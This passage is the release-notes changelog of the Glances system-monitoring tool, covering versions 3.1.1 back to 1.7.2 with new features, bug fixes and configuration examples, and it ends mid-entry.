3.1.1\n=============\n\nEnhancements and new features:\n\n* Please add some sparklines! #1446\n* Add Load Average (similar to Linux) on Windows #344\n* Add authprovider for cassandra export (thanks to @EmilienMottet) #1395\n* Curses's browser server list sorting added (thanks to @limfreee) #1396\n* ElasticSearch: add date to index, unbreak object push (thanks to @genevera) #1438\n* Performance issue with large folder #1491\n* Can't connect to influxdb with https enabled #1497\n\nBugs corrected:\n\n* Fix Cassandra table name export #1402\n* 500 Internal Server Error /api/3/network/interface_name #1401\n* Connection to MQTT server failed : getaddrinfo() argument 2 must be integer or string #1450\n* `l` keypress (hide alert log) not working after some time #1449\n* Too less data using prometheus exporter #1462\n* Getting an error when running with prometheus exporter #1469\n* Stack trace when starts Glances on CentOS #1470\n* UnicodeEncodeError: 'ascii' codec can't encode character u'\\u25cf' - Raspbian stretch #1483\n* Prometheus integration broken with latest prometheus_client #1397\n* \"sorted by ?\" is displayed when setting the sort criterion to \"USER\" #1407\n* IP plugin displays incorrect subnet mask #1417\n* Glances PsUtil ValueError on IoCounter with TASK kernel options #1440\n* Per CPU in Web UI have some display issues. #1494\n* Fan speed and voltages section? #1398\n\nOthers:\n\n* Documentation is unclear how to get Docker information #1386\n* Add 'all' target to the Pip install (install all dependencies)\n* Allow comma separated commands in AMP\n\nVersion 3.1\n===========\n\nEnhancements and new features:\n\n* Add a CSV output format to the STDOUT output mode #1363\n* Feature request: HDD S.M.A.R.T. reports (thanks to @tnibert) #1288\n* Sort docker stats #1276\n* Prohibit some plug-in data from being exported to influxdb #1368\n* Disable plugin from Glances configuration file #1378\n* Curses-browser's server list paging added (thanks to @limfreee) #1385\n* Client Browser's thread management added (thanks to @limfreee) #1391\n\nBugs corrected:\n\n* TypeError: '<' not supported between instances of 'float' and 'str' #1315\n* GPU plugin not exported to influxdb #1333\n* Crash after running fine for several hours #1335\n* Timezone listed doesn’t match system timezone, outputs wrong time #1337\n* Compare issue with Process.cpu_times() #1339\n* ERROR -- Can not grab extended stats (invalid attr name 'num_fds') #1351\n* Action on port/web plugins is not working #1358\n* Support for monochrome (serial) terminals e.g. vt220 #1362\n* TypeError on opening (Wifi plugin) #1373\n* Some field name are incorrect in CSV export #1372\n* Standard output misbehaviour (need to flush) #1376\n* Create an option to set the username to use in Web or RPC Server mode #1381\n* Missing kernel task names when the webui is switched to long process names #1371\n* Drive name with special characters causes crash #1383\n* Cannot get stats in Cloud plugin (404) #1384\n\nOthers:\n\n* Add Docker documentation (thanks to @rgarrigue)\n* Refactor Glances logs (now called Glances events)\n* \"chart\" extra dep replace by \"graph\" #1389\n\nVersion 3.0.2\n=============\n\nBug corrected:\n\n* Glances IO Errorno 22 - Invalid argument #1326\n\nVersion 3.0.1\n=============\n\nBug corrected:\n\n*  AMPs error if no output are provided by the system call #1314\n\nVersion 3.0\n===========\n\nSee the release note here: https://github.com/nicolargo/glances/wiki/Glances-3.0-Release-Note\n\nEnhancements and new features:\n\n* Make the left side bar width dynamic in the Curse UI #1177\n* Add threads number in the process list #1259\n* A way to have only REST API available and disable WEB GUI access #1149\n* Refactor graph export plugin (& replace Matplolib by Pygal) #697\n* Docker module doesn't export details about stopped containers #1152\n* Add dynamic fields in all sections of the configuration file #1204\n* Make plugins and export CLI option dynamical #1173\n* Add a light mode for the console UI #1165\n* Refactor InfluxDB (API is now stable) #1166\n* Add deflate compression support to the RestAPI #1182\n* Add a code of conduct for Glances project's participants #1211\n* Context switches bottleneck identification #1212\n* Take advantage of the psutil issue #1025 (Add process_iter(attrs, ad_value)) #1105\n* Nice Process Priority Configuration #1218\n* Display debug message if dep lib is not found #1224\n* Add a new output mode to stdout #1168\n* Huge refactor of the WebUI packaging thanks to @spike008t #1239\n* Add time zone to the current time #1249\n* Use HTTPs URLs to check public IP address #1253\n* Add labels support to Promotheus exporter #1255\n* Overlap in Web UI when monitoring a machine with 16 cpu threads #1265\n* Support for exporting data to a MQTT server #1305\n\n    One more thing ! A new Grafana Dash is available with:\n* Network interface variable\n* Disk variable\n* Container CPU\n\nBugs corrected:\n\n* Crash in the Wifi plugin on my Laptop #1151\n* Failed to connect to bus: No such file or directory #1156\n* glances_plugin.py has a problem with specific docker output #1160\n* Key error 'address' in the IP plugin #1176\n* NameError: name 'mode' is not defined in case of interrupt shortly after starting the server mode #1175\n* Crash on startup: KeyError: 'hz_actual_raw' on Raspbian 9.1 #1170\n* Add missing mount-observe and system-observe interfaces #1179\n* OS specific arguments should be documented and reported #1180\n* 'ascii' codec can't encode character u'\\U0001f4a9' in position 4: ordinal not in range(128) #1185\n* KeyError: 'memory_info' on stats sum #1188\n* Electron/Atom processes displayed wrong in process list #1192\n* Another encoding issue... With both Python 2 and Python 3 #1197\n* Glances do not exit when eating 'q' #1207\n* FreeBSD blackhole bug #1202\n* Glances crashes when mountpoint with non ASCII characters exists #1201\n* [WEB UI] Minor issue on the Web UI #1240\n* [Glances 3.0 RC1] Client/Server is broken #1244\n* Fixing horizontal scrolling #1248\n* Stats updated during export (thread issue) #1250\n* Glances --browser crashed when more than 40 glances servers on screen 78x45 #1256\n* OSX - Python 3 and empty percent and res #1251\n* Crashes when influxdb option set #1260\n* AMP for kernel process is not working #1261\n* Arch linux package (2.11.1-2) psutil (v5.4.1): RuntimeWarning: ignoring OSError #1203\n* Glances crash with extended process stats #1283\n* Terminal window stuck at the last accessed *protected* server #1275\n* Glances shows mdadm RAID0 as degraded when chunksize=128k and the array isn't degraded. #1299\n* Never starts in a server on Google Cloud and FreeBSD #1292\n\nBackward-incompatible changes:\n\n* Support for Python 3.3 has been dropped (EOL 2017-09-29)\n* Support for psutil < 5.3.0 has been dropped\n* Minimum supported Docker API version is now 1.21 (Docker plugins)\n* Support for InfluxDB < 0.9 is deprecated (InfluxDB exporter)\n* Zeroconf lib should be pinned to 0.19.1 for Python 2.x\n* --disable-<plugin> no longer available (use --disable-plugin <plugin>)\n* --export-<exporter> no longer available (use --export <exporter>)\n\nNews command line options:\n\n    --disable-webui  Disable the WebUI (only RESTful API will respond)\n    --enable-light   Enable the light mode for the UI interface\n    --modules-list   Display plugins and exporters list\n    --disable-plugin plugin1,plugin2\n                     Disable a list of comma separated plugins\n    --export exporter1,exporter2\n                     Export stats to a comma separated exporters\n    --stdout plugin1,plugin2.attribute\n                     Display stats to stdout\n\nNews configuration keys in the glances.conf file:\n\nGraph:\n\n    [graph]\n    # Configuration for the --export graph option\n    # Set the path where the graph (.svg files) will be created\n    # Can be overwrite by the --graph-path command line option\n    path=/tmp\n    # It is possible to generate the graphs automatically by setting the\n    # generate_every to a non zero value corresponding to the seconds between\n    # two generation. Set it to 0 to disable graph auto generation.\n    generate_every=60\n    # See following configuration keys definitions in the Pygal lib documentation\n    # http://pygal.org/en/stable/documentation/index.html\n    width=800\n    height=600\n    style=DarkStyle\n\nProcesses list Nice value:\n\n    [processlist]\n    # Nice priorities range from -20 to 19.\n    # Configure nice levels using a comma-separated list.\n    #\n    # Nice: Example 1, non-zero is warning (default behavior)\n    nice_warning=-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n    #\n    # Nice: Example 2, low priority processes escalate from careful to critical\n    #nice_careful=1,2,3,4,5,6,7,8,9\n    #nice_warning=10,11,12,13,14\n    #nice_critical=15,16,17,18,19\n\nDocker plugin (related to #1152)\n\n    [docker]\n    # By default, Glances only display running containers\n    # Set the following key to True to display all containers\n    all=False\n\nAll configuration file values (related to #1204)\n\n    [influxdb]\n    # It is possible to use dynamic system command\n    prefix=`hostname`\n    tags=foo:bar,spam:eggs,system:`uname -a`\n\n==============================================================================\nGlances Version 2\n==============================================================================\n\nVersion 2.11.1\n==============\n\n* [WebUI] Sensors not showing on Web (issue #1142)\n* Client and Quiet mode don't work together (issue #1139)\n\nVersion 2.11\n============\n\nEnhancements and new features:\n\n* New export plugin: standard and configurable RESTful exporter (issue #1129)\n* Add a JSON export module (issue #1130)\n* [WIP] Refactoring of the WebUI\n\nBugs corrected:\n\n* Installing GPU plugin crashes entire Glances (issue #1102)\n* Potential memory leak in Windows WebUI (issue #1056)\n* glances_network `OSError: [Errno 19] No such device` (issue #1106)\n* GPU plugin. <class 'TypeError'>: ... not JSON serializable\"> (issue #1112)\n* PermissionError on macOS (issue #1120)\n* Can't move up or down in glances --browser (issue #1113)\n* Unable to give aliases to or hide network interfaces and disks (issue #1126)\n* `UnicodeDecodeError` on mountpoints with non-breaking spaces (issue #1128)\n\nInstallation:\n\n* Create a Snap of Glances (issue #1101)\n\nVersion 2.10\n============\n\nEnhancements and new features:\n\n* New plugin to scan remote Web sites (URL) (issue #981)\n* Add trends in the Curses interface (issue #1077)\n* Add new repeat function to the action (issue #952)\n* Use -> and <- arrows keys to switch between processing sort (issue #1075)\n* Refactor __init__ and main scripts (issue #1050)\n* [WebUI] Improve WebUI for Windows 10 (issue #1052)\n\nBugs corrected:\n\n* StatsD export prefix option is ignored (issue #1074)\n* Some FS and LAN metrics fail to export correctly to StatsD (issue #1068)\n* Problem with non breaking space in file system name (issue #1065)\n* TypeError: string indices must be integers (Network plugin) (issue #1054)\n* No Offline status for timeouted ports? (issue #1084)\n* When exporting, uptime values loop after 1 day (issue #1092)\n\nInstallation:\n\n  * Create a package.sh script to generate .DEB, .RPM and others... (issue #722)\n  ==> https://github.com/nicolargo/glancesautopkg\n  * OSX: can't python setup.py install due to python 3.5 constraint (issue #1064)\n\nVersion 2.9.1\n=============\n\nBugs corrected:\n\n* Glances PerCPU issues with Curses UI on Android (issue #1071)\n* Remove extra } in format string (issue #1073)\n\nVersion 2.9.0\n=============\n\nEnhancements and new features:\n\n* Add a Prometheus export module (issue #930)\n* Add a Kafka export module (issue #858)\n* Port in the -c URI (-c hostname:port) (issue #996)\n\nBugs corrected:\n\n* On Windows --export-statsd terminates immediately and does not export (issue #1067)\n* Glances v2.8.7 issues with Curses UI on Android (issue #1053)\n* Fails to start, OSError in sensors_temperatures (issue #1057)\n* Crashes after long time running the glances --browser (issue #1059)\n* Sensor values don't refresh since psutil backend (issue #1061)\n* glances-version.db Permission denied (issue #1066)\n\nVersion 2.8.8\n=============\n\nBugs corrected:\n\n* Drop requests to check for outdated Glances version\n* Glances cannot load \"Powersupply\" (issue #1051)\n\nVersion 2.8.7\n=============\n\nBugs corrected:\n\n* Windows OS - Global name standalone not defined again (issue #1030)\n\nVersion 2.8.6\n=============\n\nBugs corrected:\n\n* Windows OS - Global name standalone not defined (issue #1030)\n\nVersion 2.8.5\n=============\n\nBugs corrected:\n\n* Cloud plugin error: Name 'requests' is not defined (issue #1047)\n\nVersion 2.8.4\n=============\n\nBugs corrected:\n\n* Correct issue on Travis CI test\n\nVersion 2.8.3\n=============\n\nEnhancements and new features:\n\n* Use new sensors-related APIs of psutil 5.1.0 (issue #1018)\n* Add a \"Cloud\" plugin to grab stats inside the AWS EC2 API (issue #1029)\n\nBugs corrected:\n\n* Unable to launch Glances on Windows (issue #1021)\n* Glances --export-influxdb starts Webserver (issue #1038)\n* Cut mount point name if it is too long (issue #1045)\n* TypeError: string indices must be integers in per cpu (issue #1027)\n* Glances crash on RPi 1 running ArchLinuxARM (issue #1046)\n\nVersion 2.8.2\n=============\n\nBugs corrected:\n\n* InfluxDB export in 2.8.1 is broken (issue #1026)\n\nVersion 2.8.1\n=============\n\nEnhancements and new features:\n\n* Enable docker plugin on Windows (issue #1009) - Thanks to @fraoustin\n\nBugs corrected:\n\n* Glances export issue with CPU and SENSORS (issue #1024)\n* Can't export data to a CSV file in Client/Server mode (issue #1023)\n* Autodiscover error while binding on IPv6 addresses (issue #1002)\n* GPU plugin is display when hitting '4' or '5' shortkeys (issue #1012)\n* Interrupts and usb_fiq (issue #1007)\n* Docker image does not work in web server mode! (issue #1017)\n* IRQ plugin is not display anymore (issue #1013)\n* Autodiscover error while binding on IPv6 addresses (issue #1002)\n\nVersion 2.8\n===========\n\nChanges:\n\n* The curses interface on Windows is no more. The web-based interface is now\n      the default. (issue #946)\n* The name of the log file now contains the name of the current user logged in,\n      i.e., 'glances-USERNAME.log'.\n* IRQ plugin off by default. '--disable-irq' option replaced by '--enable-irq'.\n\nEnhancements and new features:\n\n* GPU monitoring (limited to NVidia) (issue #170)\n* WebUI CPU consumption optimization (issue #836)\n* Not compatible with the new Docker API 2.0 (Docker 1.13) (issue #1000)\n* Add ZeroMQ exporter (issue #939)\n* Add CouchDB exporter (issue #928)\n* Add hotspot Wifi information (issue #937)\n* Add default interface speed and automatic rate thresholds (issue #718)\n* Highlight max stats in the processes list (issue #878)\n* Docker alerts and actions (issue #875)\n* Glances API returns the processes PPID (issue #926)\n* Configure server cached time from the command line --cached-time (issue #901)\n* Make the log logger configurable (issue #900)\n* System uptime in export (issue #890)\n* Refactor the --disable-* options (issue #948)\n* PID column too small if kernel.pid_max is > 99999 (issue #959)\n\nBugs corrected:\n\n* Glances RAID plugin Traceback (issue #927)\n* Default AMP crashes when 'command' given (issue #933)\n* Default AMP ignores `enable` setting (issue #932)\n* /proc/interrupts not found in an OpenVZ container (issue #947)\n\nVersion 2.7.1\n=============\n\nBugs corrected:\n\n* AMP plugin crashes on start with Python 3 (issue #917)\n* Ports plugin crashes on start with Python 3 (issue #918)\n\nVersion 2.7\n===========\n\nBackward-incompatible changes:\n\n* Drop support for Python 2.6 (issue #300)\n\nDeprecated:\n\n* Monitoring process list module is replaced by AMP (see issue #780)\n* Use --export-graph instead of --enable-history (issue #696)\n* Use --path-graph instead of --path-history (issue #696)\n\nEnhancements and new features:\n\n* Add Application Monitoring Process plugin (issue #780)\n* Add a new \"Ports scanner\" plugin (issue #734)\n* Add a new IRQ monitoring plugin (issue #911)\n* Improve IP plugin to display public IP address (issue #646)\n* CPU additional stats monitoring: Context switch, Interrupts... (issue #810)\n* Filter processes by others stats (username) (issue #748)\n* [Folders] Differentiate permission issue and non-existence of a directory (issue #828)\n* [Web UI] Add cpu name in quicklook plugin (issue #825)\n* Allow theme to be set in configuration file (issue #862)\n* Display a warning message when Glances is outdated (issue #865)\n* Refactor stats history and export to graph. History available through API (issue #696)\n* Add Cassandra/Scylla export plugin (issue #857)\n* Huge pull request by Nicolas Hart to optimize the WebUI (issue #906)\n* Improve documentation: http://glances.readthedocs.io (issue #872)\n\nBugs corrected:\n\n* Crash on launch when viewing temperature of laptop HDD in sleep mode (issue #824)\n* [Web UI] Fix folders plugin never displayed (issue #829)\n* Correct issue IP plugin: VPN with no internet access (issue #842)\n* Idle process is back on FreeBSD and Windows (issue #844)\n* On Windows, Glances try to display unexisting Load stats (issue #871)\n* Check CPU info (issue #881)\n* Unicode error on processlist on Windows server 2008 (french) (issue #886)\n* PermissionError/OSError when starting glances (issue #885)\n* Zeroconf problem with zeroconf_type = \"_%s._tcp.\" % __appname__ (issue #888)\n* Zeroconf problem with zeroconf service name (issue #889)\n* [WebUI] Glances will not get past loading screen - Windows OS (issue #815)\n* Improper bytes/unicode in glances_hddtemp.py (issue #887)\n* Top 3 processes are back in the alert summary\n\nCode quality follow up: from 5.93 to 6.24 (source: https://scrutinizer-ci.com/g/nicolargo/glances)\n\nVersion 2.6.2\n=============\n\nBugs corrected:\n\n* Crash with Docker 1.11 (issue #848)\n\nVersion 2.6.1\n=============\n\nEnhancements and new features:\n\n* Add a connector to Riemann (issue #822 by Greogo Nagy)\n\nBugs corrected:\n\n* Browsing for servers which are in the [serverlist] is broken (issue #819)\n* [WebUI] Glances will not get past loading screen (issue #815) opened 9 days ago\n* Python error after upgrading from 2.5.1 to 2.6 bug (issue #813)\n\nVersion 2.6\n===========\n\nDeprecations:\n\n* Add deprecation warning for Python 2.6.\n      Python 2.6 support will be dropped in future releases.\n      Please switch to at least Python 2.7 or 3.3+ as soon as possible.\n      See http://www.snarky.ca/stop-using-python-2-6 for more information.\n\nEnhancements and new features:\n\n* Add a connector to ElasticSearch (welcome to Kibana dashboard) (issue #311)\n* New folders' monitoring plugins (issue #721)\n* Use wildcard (regexp) to the hide configuration option for network, diskio and fs sections (issue #799 )\n* Command line arguments are now take into account in the WebUI (#789 by  @notFloran)\n* Change username for server and web server authentication (issue #693)\n* Add an option to disable top menu (issue #766)\n* Add IOps in the DiskIO plugin (issue #763)\n* Add hide configuration key for FS Plugin (issue #736)\n* Add process summary min/max stats (issue #703)\n* Add timestamp to the CSV export module (issue #708)\n* Add a shortcut 'E' to delete process filter (issue #699)\n* By default, hide disk I/O ram1-** (issue #714)\n* When Glances is starting the notifications should be delayed (issue #732)\n* Add option (--disable-bg) to disable ANSI background colours (issue #738 by okdana)\n* [WebUI] add \"pointer\" cursor for sortable columns (issue #704 by @notFloran)\n* [WebUI] Make web page title configurable (issue #724)\n* Do not show interface in down state (issue #765)\n* InfluxDB > 0.9.3 needs float and not int for numerical value (issue#749 and issue#750 by nicolargo)\n\nBugs corrected:\n\n* Can't read sensors on a Thinkpad (issue #711)\n* InfluxDB/OpenTSDB: tag parsing broken (issue #713)\n* Grafana Dashboard outdated for InfluxDB 0.9.x (issue #648)\n* '--tree' breaks process filter on Debian 8 (issue #768)\n* Fix highlighting of process when it contains whitespaces (issue #546 by Alessio Sergi)\n* Fix RAID support in Python 3 (issue #793 by Alessio Sergi)\n* Use dict view objects to avoid issue (issue #758 by Alessio Sergi)\n* System exit if Cpu not supported by the Cpuinfo lib (issue #754 by nicolargo)\n* KeyError: 'cpucore' when exporting data to InfluxDB (issue #729 by nicolargo)\n\nOthers:\n* A new Glances docker container to monitor your Docker infrastructure is available here (issue #728): https://hub.docker.com/r/nicolargo/glances/\n* Documentation is now generated automatically thanks to Sphinx and the Alessio Sergi patch (https://glances.readthedocs.io/en/latest/)\n\nContributors summary:\n* Nicolas Hennion: 112 commits\n* Alessio Sergi: 55 commits\n* Floran Brutel: 19 commits\n* Nicolas Hart: 8 commits\n* @desbma: 4 commits\n* @dana: 2 commits\n* Damien Martin, Raju Kadam, @georgewhewell: 1 commit\n\nVersion 2.5.1\n=============\n\nBugs corrected:\n\n* Unable to unlock password protected servers in browser mode bug (issue #694)\n* Correct issue when Glances is started in console on Windows OS\n* [WebUI] when alert is ongoing hide level enhancement (issue #692)\n\nVersion 2.5\n===========\n\nEnhancements and new features:\n\n* Allow export of Docker and sensors plugins stats to InfluxDB, StatsD... (issue #600)\n* Docker plugin shows IO and network bitrate (issue #520)\n* Server password configuration for the browser mode (issue #500)\n* Add support for OpenTSDB export (issue #638)\n* Add additional stats (iowait, steal) to the perCPU plugin (issue #672)\n* Support Fahrenheit unit in the sensor plugin using the --fahrenheit command line option (issue #620)\n* When a process filter is set, display sum of CPU, MEM... (issue #681)\n* Improve the QuickLookplugin by adding hardware CPU info (issue #673)\n* WebUI display a message if server is not available (issue #564)\n* Display an error if export is not used in the standalone/client mode (issue #614)\n* New --disable-quicklook, --disable-cpu, --disable-mem, --disable-swap, --disable-load tags (issue #631)\n* Complete refactoring of the WebUI thanks to the (awesome) Floran pull (issue #656)\n* Network cumulative /combination feature available in the WebUI (issue #552)\n* IRIX mode off implementation (issue#628)\n* Short process name displays arguments (issue #609)\n* Server password configuration for the browser mode (issue #500)\n* Display an error if export is not used in the standalone/client mode (issue #614)\n\nBugs corrected:\n\n* The WebUI displays bad sensors stats (issue #632)\n* Filter processes crashes with a bad regular expression pattern (issue #665)\n* Error with IP plugin (issue #651)\n* Crach with Docker plugin (issue #649)\n* Docker plugin crashes with webserver mode (issue #654)\n* Infrequently crashing due to assert (issue #623)\n* Value for free disk space is counterintuative on ext file systems (issue #644)\n* Try/catch for unexpected psutil.NoSuchProcess: process no longer exists (issue #432)\n* Fatal error using Python 3.4 and Docker plugin bug (issue #602)\n* Add missing new line before g man option (issue #595)\n* Remove unnecessary type=\"text/css\" for link (HTML5) (issue #595)\n* Correct server mode issue when no network interface is available (issue #528)\n* Avoid crach on olds kernels (issue #554)\n* Avoid crashing if LC_ALL is not defined by user (issue #517)\n* Add a disable HDD temperature option on the command line (issue #515)\n\n\nVersion 2.4.2\n=============\n\nBugs corrected:\n\n* Process no longer exists (again) (issue #613)\n* Crash when \"top extended stats\" is enabled on OS X (issue #612)\n* Graphical percentage bar displays \"?\" (issue #608)\n* Quick look doesn't work (issue #605)\n* [Web UI] Display empty Battery sensors enhancement (issue #601)\n* [Web UI] Per CPU plugin has to be improved (issue #566)\n\nVersion 2.4.1\n=============\n\nBugs corrected:\n\n* Fatal error using Python 3.4 and Docker plugin bug (issue #602)\n\nVersion 2.4\n===========\n\nChanges:\n\n* Glances doesn't provide a system-wide configuration file by default anymore.\n      Just copy it in any of the supported locations. See glances-doc.html for\n      more information. (issue #541)\n* The default key bindings have been changed to:\n      - 'u': sort processes by USER\n      - 'U': show cumulative network I/O\n* No more translations\n\nEnhancements and new features:\n\n* The Web user interface is now based on AngularJS (issue #473, #508, #468)\n* Implement a 'quick look' plugin (issue #505)\n* Add sort processes by USER (issue #531)\n* Add a new IP information plugin (issue #509)\n* Add RabbitMQ export module (issue #540 Thk to @Katyucha)\n* Add a quiet mode (-q), can be useful using with export module\n* Grab FAN speed in the Glances sensors plugin (issue #501)\n* Allow logical mounts points in the FS plugin (issue #448)\n* Add a --disable-hddtemp to disable HDD temperature module at startup (issue #515)\n* Increase alert minimal delay to 6 seconds (issue #522)\n* If the Curses application raises an exception, restore the terminal correctly (issue #537)\n\nBugs corrected:\n\n* Monitor list, all processes are take into account (issue #507)\n* Duplicated --enable-history in the doc (issue #511)\n* Sensors title is displayed if no sensors are detected (issue #510)\n* Server mode issue when no network interface is available (issue #528)\n* DEBUG mode activated by default with Python 2.6 (issue #512)\n* Glances display of time trims the hours showing only minutes and seconds (issue #543)\n* Process list header not decorating when sorting by command (issue #551)\n\nVersion 2.3\n===========\n\nEnhancements and new features:\n\n* Add the Docker plugin (issue #440) with per container CPU and memory monitoring (issue #490)\n* Add the RAID plugin (issue #447)\n* Add actions on alerts (issue #132). It is now possible to run action (command line) by triggers. Action could contain {{tag}} (Mustache) with stat value.\n* Add InfluxDB export module (--export-influxdb) (issue #455)\n* Add StatsD export module (--export-statsd) (issue #465)\n* Refactor export module (CSV export option is now --export-csv). It is now possible to export stats from the Glances client mode (issue #463)\n* The Web interface is now based on Bootstrap / RWD grid (issue #417, #366 and #461) Thanks to Nicolas Hart @nclsHart\n* It is now possible, through the configuration file, to define if an alarm should be logged or not (using the _log option) (issue #437)\n* You can now set alarm for Disk IO\n* API: add getAllLimits and getAllViews methods (issue #481) and allow CORS request (issue #479)\n* SNMP client support NetApp appliance (issue #394)\n\nBugs corrected:\n\n*  R/W error with the glances.log file (issue #474)\n\nOther enhancement:\n\n* Alert < 3 seconds are no longer displayed\n\nVersion 2.2.1\n=============\n\n* Fix incorrect kernel thread detection with --hide-kernel-threads (issue #457)\n* Handle IOError exception if no /etc/os-release to use Glances on Synology DSM (issue #458)\n* Check issue error in client/server mode (issue #459)\n\nVersion 2.2\n===========\n\nEnhancements and new features:\n\n* Add centralized curse interface with a Glances servers list to monitor (issue #418)\n* Add processes tree view (--tree) (issue #444)\n* Improve graph history feature (issue #69)\n* Extended stats is disable by default (use --enable-process-extended to enable it - issue #430)\n* Add a short key ('F') and a command line option (--fs-free-space) to display FS free space instead of used space (issue #411)\n* Add a short key ('2') and a command line option (--disable-left-sidebar) to disable/enable the side bar (issue #429)\n* Add CPU times sort short key ('t') in the curse interface (issue #449)\n* Refactor operating system detection for GNU/Linux operating system\n* Code optimization\n\nBugs corrected:\n\n* Correct a bug with Glances pip install --user (issue #383)\n* Correct issue on battery stat update (issue #433)\n* Correct issue on process no longer exist (issues #414 and #432)\n\nVersion 2.1.2\n=============\n\n    Maintenance version (only needed for Mac OS X).\n\nBugs corrected:\n\n* Mac OS X: Error if Glances is not ran with sudo (issue #426)\n\nVersion 2.1.1\n=============\n\nEnhancement:\n\n* Automatically compute top processes number for the current screen (issue #408)\n* CPU and Memory footprint optimization (issue #401)\n\nBugs corrected:\n\n* Mac OS X 10.9: Exception at start (issue #423)\n* Process no longer exists (issue #421)\n* Error with Glances Client with Python 3.4.1 (issue #419)\n* TypeError: memory_maps() takes exactly 2 arguments (issue #413)\n* No filesystem information since Glances 2.0 bug enhancement (issue #381)\n\nVersion 2.1\n===========\n\n* Add user process filter feature\n      User can define a process filter pattern (as a regular expression).\n      The pattern could be defined from the command line (-f <pattern>)\n      or by pressing the ENTER key in the curse interface.\n      For the moment, process filter feature is only available in standalone mode.\n* Add extended processes information for top process\n      Top process stats availables: CPU affinity, extended memory information (shared, text, lib, datat, dirty, swap), open threads/files and TCP/UDP network sessions, IO nice level\n      For the moment, extended processes stats are only available in standalone mode.\n* Add --process-short-name tag and '/' key to switch between short/command line\n* Create a max_processes key in the configuration file\n      The goal is to reduce the number of displayed processes in the curses UI and\n      so limit the CPU footprint of the Glances standalone mode.\n      The API always return all the processes, the key is only active in the curses UI.\n      If the key is not define, all the processes will be displayed.\n      The default value is 20 (processes displayed).\n      For the moment, this feature is only available in standalone mode.\n* Alias for network interfaces, disks and sensors\n      Users can configure alias from the Glances configuration file.\n* Add Glances log message (in the /tmp/glances.log file)\n      The default log level is INFO, you can switch to the DEBUG mode using the -d option on the command line.\n* Add RESTful API to the Web server mode\n      RESTful API doc: https://github.com/nicolargo/glances/wiki/The-Glances-RESTFUL-JSON-API\n* Improve SNMP fallback mode for Cisco IOS, VMware ESXi\n* Add --theme-white feature to optimize display for white background\n* Experimental history feature (--enable-history option on the command line)\n      This feature allows users to generate graphs within the curse interface.\n      Graphs are available for CPU, LOAD and MEM.\n      To generate graph, click on the 'g' key.\n      To reset the history, press the 'r' key.\n      Note: This feature uses the matplotlib library.\n* CI: Improve Travis coverage\n\nBugs corrected:\n\n* Quitting glances leaves a column layout to the current terminal (issue #392)\n* Glances crashes with malformed UTF-8 sequences in process command lines (issue #391)\n* SNMP fallback mode is not Python 3 compliant (issue #386)\n* Trouble using batinfo, hddtemp, pysensors w/ Python (issue #324)\n\n\nVersion 2.0.1\n=============\n\nMaintenance version.\n\nBugs corrected:\n\n* Error when displaying numeric process user names (#380)\n* Display users without username correctly (#379)\n* Bug when parsing configuration file (#378)\n* The sda2 partition is not seen by glances (#376)\n* Client crash if server is ended during XML request (#375)\n* Error with the Sensors module on Debian/Ubuntu (#373)\n* Windows don't view all processes (#319)\n\nVersion 2.0\n===========\n\n    Glances v2.0 is not a simple upgrade of the version 1.x but a complete code refactoring.\n    Based on a plugins system, it aims at providing an easy way to add new features.\n    - Core defines the basics and commons functions.\n    - all stats are grabbed through plugins (see the glances/plugins source folder).\n    - also outputs methods (Curse, Web mode, CSV) are managed as plugins.\n\n    The Curse interface is almost the same than the version 1.7. Some improvements have been made:\n    - space optimisation for the CPU, LOAD and MEM stats (justified alignment)\n    - CPU:\n        . CPU stats are displayed as soon as Glances is started\n        . steal CPU alerts are no more logged\n    - LOAD:\n        . 5 min LOAD alerts are no more logged\n    - File System:\n        . Display the device name (if space is available)\n    - Sensors:\n        . Sensors and HDD temperature are displayed in the same block\n    - Process list:\n        . Refactor columns: CPU%, MEM%, VIRT, RES, PID, USER, NICE, STATUS, TIME, IO, Command/name\n        . The running processes status is highlighted\n        . The process name is highlighted in the command line\n\n    Glances 2.0 brings a brand new Web Interface. You can run Glances in Web server mode and\n    consult the stats directly from a standard Web Browser.\n\n    The client mode can now fallback to a simple SNMP mode if Glances server is not found on the remote machine.\n\n    Complete release notes:\n* Cut ifName and DiskName if they are too long in the curses interface (by Nicolargo)\n* Windows CLI is OK but early experimental (by Nicolargo)\n* Add bitrate limits to the networks interfaces (by Nicolargo)\n* Batteries % stats are now in the sensors list (by Nicolargo)\n* Refactor the client/server password security: using SHA256 (by Nicolargo,\n      based on Alessio Sergi's example script)\n* Refactor the CSV output (by Nicolargo)\n* Glances client fallback to SNMP server if Glances one not found (by Nicolargo)\n* Process list: Highlight running/basename processes (by Alessio Sergi)\n* New Web server mode thk to the Bottle library (by Nicolargo)\n* Responsive design for Bottle interface (by Nicolargo)\n* Remove HTML output (by Nicolargo)\n* Enable/disable for optional plugins through the command line (by Nicolargo)\n* Refactor the API (by Nicolargo)\n* Load-5 alert are no longer logged (by Nicolargo)\n* Rename In/Out by Read/Write for DiskIO according to #339 (by Nicolargo)\n* Migrate from pysensors to py3sensors (by Alessio Sergi)\n* Migration to psutil 2.x (by Nicolargo)\n* New plugins system (by Nicolargo)\n* Python 2.x and 3.x compatibility (by Alessio Sergi)\n* Code quality improvements (by Alessio Sergi)\n* Refactor unitaries tests (by Nicolargo)\n* Development now follow the git flow workflow (by Nicolargo)\n\n\n==============================================================================\nGlances Version 1\n==============================================================================\n\nVersion 1.7.7\n=============\n\n* Fix CVS export [issue #348]\n* Adapt to psutil 2.1.1\n* Compatibility with Python 3.4\n* Improve German update\n\nVersion 1.7.6\n=============\n\n* Adapt to psutil 2.0.0 API\n* Fixed psutil 0.5.x support on Windows\n* Fix help screen in 80x24 terminal size\n* Implement toggle of process list display ('z' key)\n\nVersion 1.7.5\n=============\n\n* Force the PyPI installer to use the psutil branch 1.x (#333)\n\nVersion 1.7.4\n=============\n\n* Add threads number in the task summary line (#308)\n* Add system uptime (#276)\n* Add CPU steal % to cpu extended stats (#309)\n* You can hide disk from the IOdisk view using the conf file (#304)\n* You can hide network interface from the Network view using the conf file\n* Optimisation of CPU consumption (around ~10%)\n* Correct issue #314: Client/server mode always asks for password\n* Correct issue #315: Defining password in client/server mode doesn't work as intended\n* Correct issue #316: Crash in client server mode\n* Correct issue #318: Argument parser, try-except blocks never get triggered\n\nVersion 1.7.3\n=============\n\n* Add --password argument to enter the client/server password from the prompt\n* Fix an issue with the configuration file path (#296)\n* Fix an issue with the HTML template (#301)\n\nVersion 1.7.2\n=============\n\n* Console interface is now 